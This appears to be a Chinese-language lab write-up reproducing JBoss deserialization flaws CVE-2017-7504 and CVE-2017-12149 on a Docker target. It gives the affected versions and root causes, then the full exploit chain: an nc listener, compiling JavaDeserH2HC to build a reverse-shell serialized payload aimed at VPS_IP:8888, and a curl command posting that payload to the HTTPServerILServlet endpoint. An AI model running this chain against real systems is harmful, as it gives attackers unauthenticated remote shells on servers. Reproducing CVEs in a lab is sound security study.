前言
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-12149和CVE-2017-7504都是反序列化漏洞,因此用的东西都是一样的,笔者这里使用上次复现CVE-2017-12149的时候的POC文件。
CVE-2017-7504
影响范围:JBoss AS 4.x及之前版本。
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-12149
影响范围:漏洞影响5.x和6.x版本的JBOSSAS。
漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
一、启动靶机
docker-compose build
docker-compose up -d
二、漏洞挖掘
访问如下URL时,出现下图报错
http://192.168.150.146:8080/jbossmq-httpil/HTTPServerILServlet
三、漏洞利用
1、下载利用工具:JavaDeserH2HC(http://scan.javasec.cn/java/JavaDeserH2HC.zip)
2、用VPS nc监听8888端口
nc -lvp 8888
3、把上面下载到的工具复制到 vps 里面,解压即可,进入解压目录,输入如下命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap VPS_IP:8888
(IP是VPS的ip,8888是下面要监听的端口,这里写哪个端口下面就要监听哪个端口)
4、因为我公网vps访问不到靶机,所以我把生成ReverseShellCommonsCollectionsHashMap.ser文件放到真实主机执行
curl http://192.168.150.146:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
上述命令的IP为靶机,即目标。
四、验证
在VPS上,nc收到反弹shell
参考:
https://blog.csdn.net/weixin_42936566/article/details/86772045